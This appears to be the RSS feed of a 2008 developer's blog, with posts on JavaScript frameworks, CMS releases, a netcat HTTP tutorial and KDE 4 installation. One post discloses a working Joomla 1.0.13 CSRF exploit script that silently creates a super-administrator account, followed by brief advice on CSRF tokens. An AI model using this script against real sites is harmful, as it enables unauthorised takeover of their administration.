j. carlos nieto's blog

j. carlos nieto's blog http://xiam.menteslibres.org/ blog de xiam (c) 2008 J. Carlos Nieto Wed, 09 Jul 2008 22:53:00 -0700 http://www.textmotion.org Elegant Javascript with MooTools http://xiam.menteslibres.org/blog/view/33/elegant-javascript-with-mootools http://xiam.menteslibres.org/blog/view/33/elegant-javascript-with-mootools <a href="http://www.mootools.net">MooTools</a> is a very good JavaScript framework, it is also the one we use for <a href="http://meteora.astrata.com.mx">Meteora</a>. My friend <a href="http://marioly.hackerss.com">Marioly</a> posted an article on <a href="http://foros.hackerss.com/index.php?showtopic=7929&st=0&p=59092">how to use MooTools the elegant way</a>, if you're interested on writing Javascript apps using a framework it's worth reading. xiam.core@gmail.com (J. Carlos Nieto) Wed, 09 Jul 2008 22:53:00 -0700 ¡Y arranca golst.com! http://xiam.menteslibres.org/blog/view/32/iy-arranca-golst-com http://xiam.menteslibres.org/blog/view/32/iy-arranca-golst-com <div class="photo block-center"> <a href="http://golst.com"><img alt="400_edfbf310649967bd711b0d2ac8b405f3_golst.jpg" src="http://xiam.menteslibres.org/data/thumbs/400_edfbf310649967bd711b0d2ac8b405f3_golst.jpg" height="169" width="400" /></a> </div> Hace sólo unos minutos <a href="http://www.astrata.com.mx">Astrata</a> liberó pa' todos ustedes ¡<a href="http://lawaloca.com/node/17730">golST.com</a>!, después de varios meses de trabajo (en donde también pude tener una pequeña participación) lo podemos compartir, la primicia por supuesto que <a href="http://lawaloca.com/node/17730">fue cedida</a> ¿cómo no? a <a href="http://lawaloca.com/node/17730">lawaloca</a>. ¡Felicidades a todo el equipo! en especial a <a href="http://www.blacknash.com.mx">Josué</a>, <a href="http://jordi.net">Jordi</a> y a Gerardo que fueron los que más sudor, noches sin dormir y días sin XBOX se llevaron. La nota en lawaloca es NSFW, aquí la transcribo: <blockquote> En <a href="http://www.astrata.com.mx">Astrata</a> anunciamos con mucho gusto (como exclusiva para lawaloca) el lanzamiento de <a href="http://golst.com">GolST</a>. <a href="http://golst.com">GolST</a> es un sitio donde te muestra sólamente lo que a ti te interesa del mundo del futbol. Si a ti no te gusta la Bundesliga, no tienes porque verla, si a ti sólo te interesa el América y piensas que los demás equipos del mundo no existen pues no tienes porque verlos. En <a href="http://golst.com">GolST</a> tu decides que es lo que quieres ver cada vez que entres, no más no menos. Puedes escoger entre las mejores ligas del mundo, La euro 2008, Uefa, Champions, Libertadores, Premier, FMF, etc. <a href="http://golst.com">GolST</a> tiene todas las estadísticas que necesitas, mejores goleadores, tablas de posiciones, mejores defensas, mejores porteros, rachas, históricos, etc. Fotos? Partidos en vivo? En <a href="http://golst.com">GolST</a> también tendrás partidos en vivo y fotos en vivo de los mejores torneos del mundo. Por fin, ya no hay que navegar en 100 sitios de fútbol en distintos idiomas para estar enterado de lo que pasa en las mejores ligas del mundo, todo en un solo lugar: <a href="http://golst.com">GolST</a>. Si tienen dudas del funcionamiento del sitio no olviden darse una vuelta por <a href="http://golst.com/help">golst.com/help</a> para que vean unos videos de demostración. Pues banda, espero que les guste el sitio tanto como a nosotros!! chido wan! </blockquote> xiam.core@gmail.com (J. Carlos Nieto) Mon, 02 Jun 2008 16:42:00 -0700 Safari Espacial ya tiene fecha, 20 de junio http://xiam.menteslibres.org/blog/view/31/safari-espacial-ya-tiene-fecha-20-de-junio http://xiam.menteslibres.org/blog/view/31/safari-espacial-ya-tiene-fecha-20-de-junio Hace ya casi un año decidí que quería hacer algo que hiciera alguna diferencia, aunque pequeña, estaría haciendo algo que funcione al menos para una persona y eso sería un buen comienzo. El proyecto se iba a llamar Mentes Libres, hace poco decidí que el nombre era demasiado formal para el público al que quería dirigirlo (niños) y pensé en cambiarlo a Safari Espacial, ese me late más pensando como niño :). Fue un proyecto a muy largo plazo, estuve escribiendo pequeños artículos cuando tenía tiempo, comprando algunos libros que me sirvieran, acordándome de las cosas que me gustaba hacer de niño y al final estoy terminando, estoy casi totalmente satisfecho con todo eso :). Hubo muchas personas interesadas, pero debido a que tengo ciertas ocupaciones en el día, incluyendo trabajo y escuela, no podía coordinarme para hablar bien con ellos sobre lo que quería hacer, muchos se enfadaron y fueron perdiendo interés, otros siguen en stand by con la voluntad de ayudar y les agradezco que aún sigan interesados, espero que los que se fueron puedan regresar, sé que fue mi culpa mantener las cosas en silencio, pero no tuve otra opción, no ibamos a tener cambios ni avances rápidos y es muy difícil querer convencer de no esperarlos. La idea que quería realizar era un sitio enfocado a los niños de mi país con experimentos sobre ciencias naturales y notas interesantes para ellos, con la finalidad de hacer que se interesaran en el desarrollo de la ciencia y que hicieran posible que México desarrolle más tecnología en vez de importarla. A mi parecer, la ciencia es la única forma posible de avance real (en realidad todo forma parte de un maléfico plan para atacar al consumismo, a los iPhones y a las estrellas extranjeras de pop que vienen a vender basura a México), y la mejor manera de terminar con la dependencia intelectual del extranjero. Como se dan cuenta es algo diseñado a muy largo plazo, pero creo que ahora es el mejor momento para comenzar a experimentar y aprender por que estoy decidido a que ésto no lo voy a dejar aquí y que habrá muchísimas personas que tienen las mismas ganas y la misma idea sobre la importancia de la ciencia. Ya estoy ajustando varios detalles y completando más textos, pero el proyecto está practicamente terminado, y hoy estoy contento, muy contento de que al final voy a poder terminar ésto y comenzar la segunda etapa. La fecha de inicio del sitio es 20 de junio, espero no haya confusiones, la versión actual de <a href="http://www.safariespacial.com/">SafariEspacial</a> está desactualizada y va a durar muy poco en línea, es muy probable que todo cambie, a mí me gustaría mantener la sorpresa de como va a quedar el sitio al final ;-). Haré lo que sea necesario con el proyecto, con los medios y con mi mismo para poder hacer algo bueno y que realmente sirva de todo ésto. xiam.core@gmail.com (J. Carlos Nieto) Fri, 30 May 2008 21:38:00 -0700 onload event for iframes on old Opera installations http://xiam.menteslibres.org/blog/view/30/onload-event-for-iframes-on-old-opera-installations http://xiam.menteslibres.org/blog/view/30/onload-event-for-iframes-on-old-opera-installations Today I ran into a huge problem that I solved just with a line of code, yeah, that sounds easy, but actually the hard part was to found where the error was. I found it, after inspecting the code very closely, everything seemed right but Opera 2.10 was still failing to proccess the body of an iframe when an onload event was attached to it. Recent versions of Opera were working normally. The problem was that I defined <tt>iframe.src = 'about:blank</tt>', but for some reason Opera prefers 'opera:blank', otherwise it will trigger the onload event right after setting the iframe's src, even if the value is 'about:blank'. BTW, I found the solution by accident, I read 'opera:blank' in an old Opera's exploit and decided to do a test. Strange are the ways of God… and Opera developers. xiam.core@gmail.com (J. Carlos Nieto) Tue, 27 May 2008 19:14:00 -0700 Betatesting para TextMotion 1.3 http://xiam.menteslibres.org/blog/view/27/betatesting-para-textmotion-1-3 http://xiam.menteslibres.org/blog/view/27/betatesting-para-textmotion-1-3 Si te interesa ayudarnos a probar el beta de <a href="http://textmotion.org">TextMotion</a> 1.3 y estás dispuesto a aprender (o practicar) algunas cosas nuevas <a href="/contact">contáctame</a>, si tienes dudas sobre el manejo de herramientas como svn te ayudamos. Si tienes algún otro CMS y quieres apoyarnos para que podamos crear una herramienta para importar desde ese CMS sería interesante poder trabajar juntos <img src="http://xiam.menteslibres.org/media/emoticons/default/smile.png" width="16" height="16" /> xiam.core@gmail.com (J. Carlos Nieto) Sun, 25 May 2008 17:19:27 -0700 How to build a Javascript calculator using Meteora http://xiam.menteslibres.org/blog/view/25/how-to-build-a-javascript-calculator-using-meteora http://xiam.menteslibres.org/blog/view/25/how-to-build-a-javascript-calculator-using-meteora <div class="photo block-center"> <a href="/data/uploads/300_calculator_design.jpg"><img alt="300_44a4b0e0568bf96091236c75adac94ea_alculator_design.jpg" src="http://xiam.menteslibres.org/data/thumbs/300_44a4b0e0568bf96091236c75adac94ea_alculator_design.jpg" height="253" width="300" /></a> </div>My friend <a href="http://blacknash.com.mx">Josué Gutiérrez</a> posted a nice tutorial on <a href="http://blacknash.com.mx/blog/view/13/cooking-a-meteora-s-calculator">how to build a javascript calculator</a> using <a href="http://meteora.astrata.com.mx">Meteora</a>. xiam.core@gmail.com (J. Carlos Nieto) Mon, 19 May 2008 14:26:00 -0700 WordPress 2.5 salt cracking vulnerability http://xiam.menteslibres.org/blog/view/21/wordpress-2-5-salt-cracking-vulnerability http://xiam.menteslibres.org/blog/view/21/wordpress-2-5-salt-cracking-vulnerability <div class="photo block-center"> <a href="/data/uploads/wp-logo-badass.jpg"><img alt="300_7a389cb99327ccf5bc8249196c77360c_wp-logo-badass.jpg" src="http://xiam.menteslibres.org/data/thumbs/300_7a389cb99327ccf5bc8249196c77360c_wp-logo-badass.jpg" height="300" width="300" /></a> </div> I discovered a medium severity vulnerability in the way <a href="http://wordpress.org">WordPress</a> 2.5 handles user authentications, this is not a universally exploitable bug, so I think it would be no problem to apply <a href="http://en.wikipedia.org/wiki/Full_disclosure">full-disclosure</a> this time. An <a href="http://xiam.menteslibres.org/pages/advisories/wordpress-2-5-salt-cracking-vulnerability">advisory</a> is available and <a href="http://www.securityfocus.com/archive/1/490887/30/0/threaded">a copy</a> was sent to securityfocus' bugtraq. A temporary solution is provided within the advisory. xiam.core@gmail.com (J. Carlos Nieto) Tue, 15 Apr 2008 00:52:00 -0700 ¿Cómo funcionan los VirtualHost? http://xiam.menteslibres.org/blog/view/19/icomo-funcionan-los-virtualhost http://xiam.menteslibres.org/blog/view/19/icomo-funcionan-los-virtualhost Los servidores web actuales tienen facilidades para hospedar múltiples dominios teniendo una sóla dirección IP pública. A éstas facilidades se les llama VirtualHost. Para entender cómo funcionan los VirtualHost podemos comenzar tratando de entender el protocolo HTTP. En palabras muy coloquiales, podríamos decir que el protocolo HTTP es una serie de frases entre un servidor (la máquina en donde está el sitio), y un cliente (que puede ser el navegador). El cliente busca al servidor e inicia la conversación, le pide un objeto y le da algunos detalles del objeto. El servidor busca al objeto con los detalles que el cliente le dio, en caso de que lo encuentre, envía al objeto requerido además de información adicional, en caso contrario, el servidor explica lo que ha sucedido. Dejándo de lado las malas analogías, comencemos a jugar con algo más interesante, utilizemos netcat para entender el funcionamento del protocolo. Netcat es un programa muy simple, como todas las herramientas UNIX, pero con el que se pueden realizar tareas bastante interesantes, netcat se dedica a manejar conexiones entre un cliente y un servidor. Utilizemos a netcat y a google.com como ejemplo para entender el protocolo. Nos queremos conectar a google.com por el puerto de HTTP, para saber cuál utilizar le podemos preguntar al archivo /etc/services. $ grep http /etc/services # Updated from http://www.iana.org/assignments/port-numbers and other # sources like http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/services . www        80/tcp        http        # WorldWideWeb HTTP https        443/tcp                # http protocol over TLS/SSL https        443/udp http-alt    8080/tcp    webcache    # WWW caching service http-alt    8080/udp            # WWW caching servic Ahora sabemos que debemos conectar al puerto 80. $ nc -v google.com 80  DNS fwd/rev mismatch: google.com != eh-in-f99.google.com DNS fwd/rev mismatch: google.com != py-in-f99.google.com DNS fwd/rev mismatch: google.com != jc-in-f99.google.com google.com [72.14.207.99] 80 (www) open Rápidamente escribimos: GET / Seguido de dos {enter} más. Según el país de procedencia, google nos responde con un mensaje que indica que debemos hacer la petición a otro servidor, en mi caso google.com me dice que le pregunte a www.google.com.mx. Repetimos el paso con www.google.com.mx (o con el servidor que google.com te indique): $ nc -v www.google.com.mx 80 GET / Extrañamente recibimos la misma indicación, al parecer el servidor no entendió la pregunta que el cliente le hizo. Ésto se debe a que la petición está mal formulada, en realidad la petición debe ser así: GET /archivo/requerido.txt HTTP/X.Y\r\n Header1: valor\r\n Header2: valor\r\n \r\n \r\n Los \r\n representan retornos de carro. Es necesario terminar la petición con dos retornos de carro vacíos, ésto le indica al servidor que hemos terminado de enviar datos y que esperamos respuesta. Reintentemos de nuevo sabiendo más sobre peticiones: $ nc -v www.google.com.mx 80 GET / HTTP/1.1 Host: www.google.com.mx La cabecera “Host” es obligatoria para jugar con VirtualHost, es la única forma que el servidor tiene para saber qué buscar y en qué parte. Ésta vez debemos tener una respuesta parecida a ésta: $ nc -v www.google.com.mx 80 GET / HTTP/1.1 Host: www.google.com.mx HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=ISO-8859-1 Set-Cookie: PREF=ID=6e786c9ea2b43da6:TM=1205966447:LM=1207966447:S=Z3TC-WmVvTmmdhX9; expires=Mon, 12-Apr-2010 02:14:07 GMT; path=/; domain=.google.com.mx Date: Sat, 12 Apr 2008 02:14:07 GMT Server: gws Transfer-Encoding: chunked 15b1 ... c7 ... 0 Ésta vez le hemos dicho a google.com.mx que requerimos el virtualhost www.google.com.mx de la IP 74.14.207.104. $ host 72.14.207.104 104.207.14.72.in-addr.arpa domain name pointer eh-in-f104.google.com. Ahora intenta hacer lo mismo, pero utilizando la IP en vez del dominio google.com.mx $ nc -v 72.14.207.104 80 GET / HTTP/1.1 Host: www.google.com.mx El resultado del proceso usando la IP en vez del dominio debe ser exactamente el mismo. En realidad el proceso interno es más complicado que un típico VirtualHost, las IP asignadas a aquellos nombres de dominio son más bien variables, intenta haciendo varios pings a www.google.com.mx con un intervalo de un segundo (para el ping con Ctrl+C y comienza de nuevo), verás que las IP no son constantes para el mismo dominio y ésto no tiene relación con con el servidor web. Ahora quisiera explicar en que consiste la respuesta del servidor y qué es ese “Content-Encoding: chunked”, así como el envío de contraseñas y demás cosas pero eso corresponde a otro tema que espero pueda tratar mañana :). Protocolos como SMTP para envío de correo y FTP para transmisión de datos son otro par de cosas bastante interesantes para jugar. xiam.core@gmail.com (J. Carlos Nieto) Fri, 11 Apr 2008 19:29:00 -0700 Textmotion 1.1 http://xiam.menteslibres.org/blog/view/18/textmotion-1-1 http://xiam.menteslibres.org/blog/view/18/textmotion-1-1 La segunda liberación de Textmotion está ahora disponible para descarga. Se incluyen varias mejoras, el <a href="http://textmotion.org/pages/features/package-manager">package manager</a> ya está terminado y completamente funcional, con el <a href="http://textmotion.org/pages/features/package-manager">package manager</a> podrás instalar nuevas características sin dejar el panel de administración, bueno, puedo decir muchas cosas de Textmotion pero creo que es mejor que pruebes nuestro <a href="http://demo.textmotion.org">demo</a> directamente ;). Ésta es una captura del package manager:  <div class="photo block-center"><a href="http://xiam.menteslibres.org/data/uploads/packages-pic.png"><img src="/data/thumbs/300_packages-pic.png" alt="300_packages-pic.png" height="291" width="300" /></a> Descripción de la foto</div>  Espero que te guste, seguiremos con más <img src="http://xiam.menteslibres.org/media/emoticons/default/smile.png" width="16" height="16" /> xiam.core@gmail.com (J. Carlos Nieto) Mon, 07 Apr 2008 11:56:59 -0700 Meteora 0.4 http://xiam.menteslibres.org/blog/view/16/meteora-0-4 http://xiam.menteslibres.org/blog/view/16/meteora-0-4 En <a href="http://astrata.com.mx"> Astrata Software </a> acabamos de liberar <a href="http://meteora.astrata.com.mx/blog/view/2/meteora-0-4"> Meteora 0.4 </a> , es uno de nuestros proyectos Open Source que es base de muchos desarrollos que hacemos. Además de solución de bugs, las nuevas features que tiene son: <ul> <li> Resolución automática de dependencias . De esta forma sólo cargas los scripts que necesitas, sin preocuparte por saber qué depende de qué. </li> <li> Incluye MooTools 1.11 completo, así todos los scripts que antes usaban MooTools podrán usarse también con Meteora. </li> <li> Mejoras visuales en la interfaz. </li> <li> Mejora de compatibilidad con Firefox, IE6, IE7, Safari y Opera. </li> <li> Mayor velocidad en varios controles. </li> <li> Mejoras en documentación y ejemplos. </li> <li> Facilidades para compresión de scripts dentro del core. </li> </ul> <div style="text-align: center"> <object width="320" height="240"> <param name="movie" value="http://meteora.astrata.com.mx/media/video/flvplayer.swf?autostart=true&allowfullscreen=false&repeat=true&file=/media/video/demo.flv&displayheight=320" /> </param> <param name="wmode" value="transparent" /> </param> <embed src="http://meteora.astrata.com.mx/media/video/flvplayer.swf?autostart=true&allowfullscreen=false&repeat=true&file=/media/video/demo.flv&displayheight=320" type="application/x-shockwave-flash" wmode="transparent" width="320" height="240" quality="high" /> </embed> </object> </div> En <a href="http://astrata.com.mx"> Astrata Software </a> nos dedicamos a resolver problemas. xiam.core@gmail.com (J. Carlos Nieto) Tue, 26 Feb 2008 17:19:38 -0800 TextMotion 1.0 http://xiam.menteslibres.org/blog/view/15/textmotion-1-0 http://xiam.menteslibres.org/blog/view/15/textmotion-1-0 Me da gusto anunciar que ya (por fin) tenemos a descarga TextMotion. ¡La primera versión pública ya puede <a href="http://code.google.com/p/textmotion/downloads/list"> descargarse </a> y usarse sin mayores complicaciones! El proyecto está hospedado en <a href="http://code.google.com/p/textmotion/"> Google Code </a> , y éste me ha gustado mucho más que el anterior SourceForge. La página donde podemos ver los <a href="http://textmotion.org/gallery/view/1/screenshots"> screenshots </a> , la <a href="http://code.google.com/p/textmotion/"> descarga </a> y una <a href="http://textmotion.org/pages/how-to-install"> referencia de instalación </a> es <a href="http://textmotion.org"> textmotion.org </a> . Fueron varios meses de desarrollo nocturno, fue MUY cansado, pero es una satisfacción muy grande poder ver algo que cuesta tanto trabajo ejecuta las cosas como fue pensado (o a unos <a href="http://code.google.com/p/textmotion/issues/list"> bugs imprevistos </a> de distancia). No he cumplido todas las cosas que tenía en mente (no aún) pero sí las principales del plan maestro ;), el código documentado na'más no se me da, me gusta resolver problemas pero me desespera (y cuesta) documentar mientras tengo una idea revoloteando. Creo que eso puede esperar, el porcentaje de personas que mira el código es muy reducido en comparación con los usuarios finales (lo siento, he estado viendo muchas gráficas últimamente) y bueno, varios consejos que he recibido los he aplicado, he tratado de ponerme en el lugar de la persona que está detrás del otro lado de la pantalla, en vez de ver las cosas como programador. Tengo muchas ganas de escuchar críticas y opiniones, como la de <a href="http://g30rg3x.com/"> g30rg3x </a> que ya se apuntó para hacer una revisión de los aspectos técnicos (velocidad, uso de recursos, limpieza de código, etc) gracias por el esfuerzo y veamos como termina. Gracias también a las personas que han colaborado directa o indirectamente con el proyecto, sin el apoyo de terceros hace tiempo que lo hubiera dejado, me he divertido mucho. xiam.core@gmail.com (J. Carlos Nieto) Tue, 29 Jan 2008 19:32:39 -0800 Instalación de KDE 4.0 y screenshots http://xiam.menteslibres.org/blog/view/13/instalacion-de-kde-4-0-y-screenshots http://xiam.menteslibres.org/blog/view/13/instalacion-de-kde-4-0-y-screenshots Ayer comencé a instalar KDE4 y hoy amanecí con sistema :-), ya lo había intentado con las <a href="http://kde.gentoo.org/"> intrucciones de gentoo </a> hace algunas semanas pero no era usable, crasheaba demasiado. Temiendo lo mismo de otra instalación con ebuils tuve que hacerlo “a mano”. <h5> </h5><h5>Instalación para cualquier UNIX </h5> En realidad es sencillo, <a href="http://www.cmake.org/HTML/Index.html"> cmake </a> facilita las cosas de manera sorprendente. Para instalar desde source para cualquier disteibución sólo hay que escoger algún lugar de descarga, por ejemplo <a href="ftp://ftp.kde.org/pub/kde/stable/4.0.0/src/"> el ftp principal de KDE </a> . Y bajamos algunos fuentes: <ul> <li> kdelibs </li> <li> kdepim </li> <li> kdebase </li> <li> kdebase-runtime </li> <li> kdebase-workspace </li> <li> kdegraphics </li> <li> kdemultimedia </li> <li> kdenetwork </li> <li> kdeutils </li> <li> kdeadmin </li> </ul> En ese órden (para desempaquetar uno y comenzar a compilar mientras el otro termina de copiarse), los demás fuentes son opcionales. Si tienes una versión anterior de KDE4 debes quitarla, ¡haz un backup de tus .kde*!. Si estás utilizando KDE3 en Gentoo y lo instalaste con portage, puedes usar el programa quickpkg para hacer un binario de tu instalación de KDE3 actual y regresar a ella sin tener que recompilar si algo malo sucede. Al momento de instalar estaba usando XFCE, KDE lo había desinstalado hace un tiempo. Si no tienes un desktop alternativo podrías probar XFCE, pequeño y muy rápido. Bien, el proceso de instalación es muy sencillo, comenzamos con kdelibs que requiere de un directorio separado para construir (es el único que lo requiere): <div class="bash">cd /usr/src/kde/kdelibs-4.0.0 mkdir build cd build cmake .. make make install</div> Aquí debes estar pendiente de la salida de cmake, como yo ya había instalado KDE4 con portage se habían incluído varias dependencias, es posible que tu sistema no las tenga y necesites instalarlas a mano ya sea desde la URL del proyecto o desenmascarando algo en portage. Me pasó con un par de paquetes que necesitaba actualizar. Los paquetes siguientes son igual de sencillos para construir y van en el orden en que los listé: <div class="bash">cd /usr/src/kde/kdepimlibs-4.0.0 cmake . make make install</div> A partir de haber instalado kdebase-4.0.0 puedes comenzar a instalar en paralelo los paquetes que faltan. Una vez que todo termine puedes cambiar manualmente según tu distribución a que use KDM (o seguir usando tu Display Manager actual), si no usas Display Manager puedes utilizar la línea siguiente en ~/.xsession <div class="bash">exec startkde</div> En Gentoo puedes cambiar el Display Manager modificando la variable DISPLAYMANAGER por “kdm” en /etc/rc.conf/xdm. Ahora borra ~/.kde*, cuidado con tu backup (en realidad espero que esto no sea necesario, yo tenía restos de una instalación antigüa y no me dolía perderlos), reinicia xorg (Ctrl+Alt+Backspace o /etc/init.d/xdm restart). Y Bienvenido a KDE4 <img src="http://xiam.menteslibres.org/media/emoticons/default/smile.png" width="16" height="16" /> <h5> Los puntos que me gustaron: </h5> <ul> <li> Programas nuevos, como okular, me ahorran el abrir una terminal y usar display (display era la forma mas rápida de abrir imágenes). </li> <li> Dophin está chingón! </li> <li> Sigue siendo rápido. </li> <li> El nuevo menú está chido, no sustituye a un Alt+F2 pero apantalla. </li> <li> Algunos bugs pequeños de kwin. </li> </ul> <h5> Los puntos que no me gustaron: </h5> <ul> <li> Aun no es estable AmaroK 2.0 y el 1.4.8 no se puede instalar con libs de KDE4 (estoy utilizando JuK, que venía con kdemultimedia y me gusta mientras reproduzca música). </li> <li> Los shortcuts nuevos están raros, son diferentes a los de GNOME y XFCE. </li> <li> El copy-paste no funciona para algunas aplicaciones. </li> <li> La usabilidad de Kopete, sigue siendo complicado. </li> </ul> Las aplicaciones GTK parecen de Windows 95, ésto no es “culpa” de KDE. Antes era posible cambiarla desde el Settings Manager, pero a los devel se les pasó y lo debemos hacer manual creando un ~/gtkrc-2.0: gtk-font-name = "Trebuchet MS 9" include "/usr/share/themes/Clearlooks/gtk-2.0/gtkrc" gtk-icon-theme-name = "Oxygen-Gnome" <h5> Screenshots </h5> <div style="text-align: center"> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot1.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot1.png" alt="300_snapshot1.png" height="225" width="300" /> Settings Manager </a> </div> </div> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot2.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot2.png" alt="300_snapshot2.png" height="225" width="300" /> Some widgets </a> </div> </div> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot3.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot3.png" alt="300_snapshot3.png" height="225" width="300" /> New menu </a> </div> </div> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot4.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot4.png" alt="300_snapshot4.png" height="225" width="300" /> okular </a> </div> </div> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot5.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot5.png" alt="300_snapshot5.png" height="225" width="300" /> Kopete is still ugly </a> </div> </div> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot6.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot6.png" alt="300_snapshot6.png" height="225" width="300" /> Kompare </a> </div> </div> <div class="block-center"> <div class="photo"> <a href="http://xiam.menteslibres.org/data/uploads/snapshot7.png"> <img src="http://xiam.menteslibres.org/data/uploads/300_snapshot7.png" alt="300_snapshot7.png" height="225" width="300" /> One of my most valuable friends, a terminal. </a> </div> </div> </div> xiam.core@gmail.com (J. Carlos Nieto) Sat, 12 Jan 2008 00:04:00 -0800 Links interesantes http://xiam.menteslibres.org/blog/view/12/links-interesantes http://xiam.menteslibres.org/blog/view/12/links-interesantes <a href="http://mononeurona.org/blog/alucard_thot/"> Thot </a> es bastante cabrón, ha sido finalista en el concurso ACM representando a México, era estudiante de la Universidad de la Mixteca. Lo conocí hace un tiempo en un evento en Tehuacán y me pasó estos links para iluminar mi cabecita n00b: <ul> <li> <a href="http://www.comp.nus.edu.sg/%7Estevenha/myteaching/notes/index.html"> Data structures and algorithms. </a> </li> <li> <a href="http://www.algorithmist.com/index.php/Main_Page"> Algorithmist. </a> </li> </ul> Y los recomiendo también. El primero está muy chido. Cuando tengo chance me pongo a leer y tratar de resolver ejercicios de acm.uva.es, algunos no les entiendo aún y veo que hay rusos que están muuuuy cabrones. Quisiera concursar antes de que se me pase la edad, pero aún no sé lo suficiente… xiam.core@gmail.com (J. Carlos Nieto) Thu, 10 Jan 2008 07:35:52 -0800 Joomla 1.0.13 exploit http://xiam.menteslibres.org/blog/view/10/joomla-1-0-13-exploit http://xiam.menteslibres.org/blog/view/10/joomla-1-0-13-exploit Last year <a href="http://forum.joomla.org/index.php?topic=222686.msg1041104"> I announced that I found a vulnerability in the popular Joomla CMS </a> . I contacted a developer and he told me, very professionally and quickly, that they will fix the hole and then he will let me know. The developer never contacted me again. Today is January 8, it's been almost 3 months and I think its time to release my exploit, I hope the vulnerability is fixed now. <div class="html4strict"><script type="text/javascript"> window.onload = function() {     var url = "http://joomlasite.com/joomla/administrator/index2.php";     var gid = 25;     var user = 'xiam';     var pass = 'pass';     var email = 'xiamkong@yahoo.com.mx';         var param = {         name: user,         username: user,         email: email,         password: pass,         password2: pass,         gid: gid,         block: 0,         option: 'com_users',         task: 'save',         sendEmail: 1     };     var form = document.createElement('form');     form.action = url;     form.method = 'post';     form.target = 'hidden';     form.style.display = 'none';     for (var i in param) {         try {             // ie             var input = document.createElement('<input name="'+i+'">');         } catch(e) {             // other browsers             var input = document.createElement('input');             input.name = i;         }         input.setAttribute('value',  param[i]);         form.appendChild(input);     }     document.body.appendChild(form);     form.submit(); } </script> <iframe name="hidden" style="display: none"></iframe> <img src="http://www.more4kids.info/uploads/Image/Carebears-Cover.jpg"></div> And the <a href="http://www.securityfocus.com/archive/1/485978/30/0/threaded"> bugtraq note </a> . This vulnerability is known as <a href="http://en.wikipedia.org/wiki/Csrf"> CSRF </a> (Cross Site Request Forgery). You can protect your application against CSRF by including a little token in all your form requests, this token is nothing more than an extra variable (random filled), it would be checked against a session variable just before performing the requested action. xiam.core@gmail.com (J. Carlos Nieto) Tue, 08 Jan 2008 15:25:24 -0800 Dull boy http://xiam.menteslibres.org/blog/view/9/dull-boy http://xiam.menteslibres.org/blog/view/9/dull-boy Hace un buen rato escribí un guiño a la escena donde descubrimos que Jack Torrance, en <a href="http://en.wikipedia.org/wiki/The_Shining_%28film%29"> The Shinning </a> , ha escrito cientos de hojas con la misma leyenda: “All work and no play makes Jack a dull boy”. Para que se viera más frikoso decidí mostrar la misma leyenda como si Jack hubiera sido programador: dull.c <div class="c">#define is_letter(x) ((x >= 'a' && x <= 'z') || (x >= 'A' && x <= 'Z')) char legend[] = "AllworkandnoplaymakesJackadullboy\0"; int main() {     char c;     char *p;     p = legend;     while ((c = getchar()) >= 1) {         if (*p == 0) {             p = legend;         }         if (is_letter(c)) {             putchar(*p);             p++;         } else {             putchar(c);         }     } }</div> <div class="bash">$ make dull $ ./dull < otro.c</div> El programa contra sí mismo nos da: <div class="c">#Allwor ka_ndnopl(a) ((y >= 'm' && a <= 'k') || (e >= 's' && J <= 'a')) ckad ullboy[] = "AllworkandnoplaymakesJackadullboy\0"; All work() {     andn o;     play *m;     a = kesJac;     kadul ((l = boyAllw()) >= 1) {         or (*k == 0) {             a = ndnopl;         }         ay (ma_kesJac(k)) {             adullbo(*y);             A++;         } llwo {             rkandno(p);         }     } }</div> Es una aterradora coincidencia que la cadena “AllworkandnoplaymakesJackadullboy” haya quedado en la misma posicion o_O. xiam.core@gmail.com (J. Carlos Nieto) Tue, 08 Jan 2008 08:18:42 -0800